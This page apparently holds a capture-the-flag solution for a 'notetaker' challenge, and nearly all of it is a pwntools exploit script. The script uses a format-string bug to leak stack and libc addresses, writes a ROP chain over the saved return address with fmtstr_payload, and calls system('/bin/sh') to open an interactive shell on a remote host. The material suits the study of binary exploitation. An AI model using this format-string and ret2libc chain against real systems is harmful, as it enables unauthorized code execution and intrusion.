Skip to content

Notetaker

#!/usr/bin/env python3

from pwn import *

exe = ELF("./notetaker_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.23.so")

context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.local(log_level='info')
gdb_script = '''
b main
b *0x400c03
continue
'''


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r, gdbscript=gdb_script)
    else:
        r = remote("addr", 1337)

    return r


def send_note(c, r):
    r.sendline(b'2')
    r.sendlineafter(b'> Enter the note:', c)
    r.sendlineafter(b'>', b'1')
    return r.recvline() 

def main():
    r = conn()
    leak_gdb_stack = 0x7fffffffd970
    gdb_return_address = 0x7fffffffd898
    diff = leak_gdb_stack - gdb_return_address
    ret = 0x0000000000400791 # ret
    pop_rdi = 0x0000000000400c03 # pop rdi ; ret
    pop_rsi = 0x0000000000400c01 # pop rsi ; pop r15 ; ret
    puts_got = exe.got['puts']
    puts_plt = exe.plt['puts']

    leak = int(send_note('%40$p', r).strip(b'\n').strip(b' '), 16)
    saved_return_address_stack_position = leak - diff

    print(f"Diference = {diff}")
    print(f"Leaked address = {hex(leak)}")
    print(f"Saved return addres stack position = {hex(saved_return_address_stack_position)}")
    print(f"puts.plt = {hex(puts_plt)}")
    print(f"pop_rdi = {hex(pop_rdi)}")

    format_string_offset = 8
    menu_address = 0x000000000040099e 


    payload = fmtstr_payload(format_string_offset, {saved_return_address_stack_position: pop_rdi}) 
    send_note(payload, r)
    payload = fmtstr_payload(format_string_offset, {saved_return_address_stack_position+8: puts_got}) 
    send_note(payload, r)
    payload = fmtstr_payload(format_string_offset, {saved_return_address_stack_position+16: puts_plt}) 
    send_note(payload, r)
    payload = fmtstr_payload(format_string_offset, {saved_return_address_stack_position+24: menu_address}) 
    send_note(payload, r)

    r.sendlineafter(b'>', b'10') # Exec ROP
    leak_puts = u64(r.recvline().strip().ljust(8, b'\x00'))
    print(f"Leak puts = {hex(leak_puts)}")

    base_libc = leak_puts - libc.symbols['puts']
    libc.address = base_libc
    print(f"Base libc = {hex(base_libc)}")

    sh = next(libc.search(b"/bin/sh"))
    system = libc.sym["system"]
    exit_addr = libc.sym["exit"]
    print(f"/bin/sh = {hex(sh)}")
    print(f"system = {hex(system)}")
    print(f"exit = {hex(exit_addr)}")

    saved_return_address_stack_position += 40
    payload = fmtstr_payload(format_string_offset, {saved_return_address_stack_position: pop_rdi}) 
    send_note(payload, r)
    payload = fmtstr_payload(format_string_offset, {saved_return_address_stack_position+8: sh}) 
    send_note(payload, r)
    payload = fmtstr_payload(format_string_offset, {saved_return_address_stack_position+16: system}) 
    send_note(payload, r)

    r.sendlineafter(b'>', b'10') # Exec ROP

    # good luck pwning :)

    r.interactive()


if __name__ == "__main__":
    main()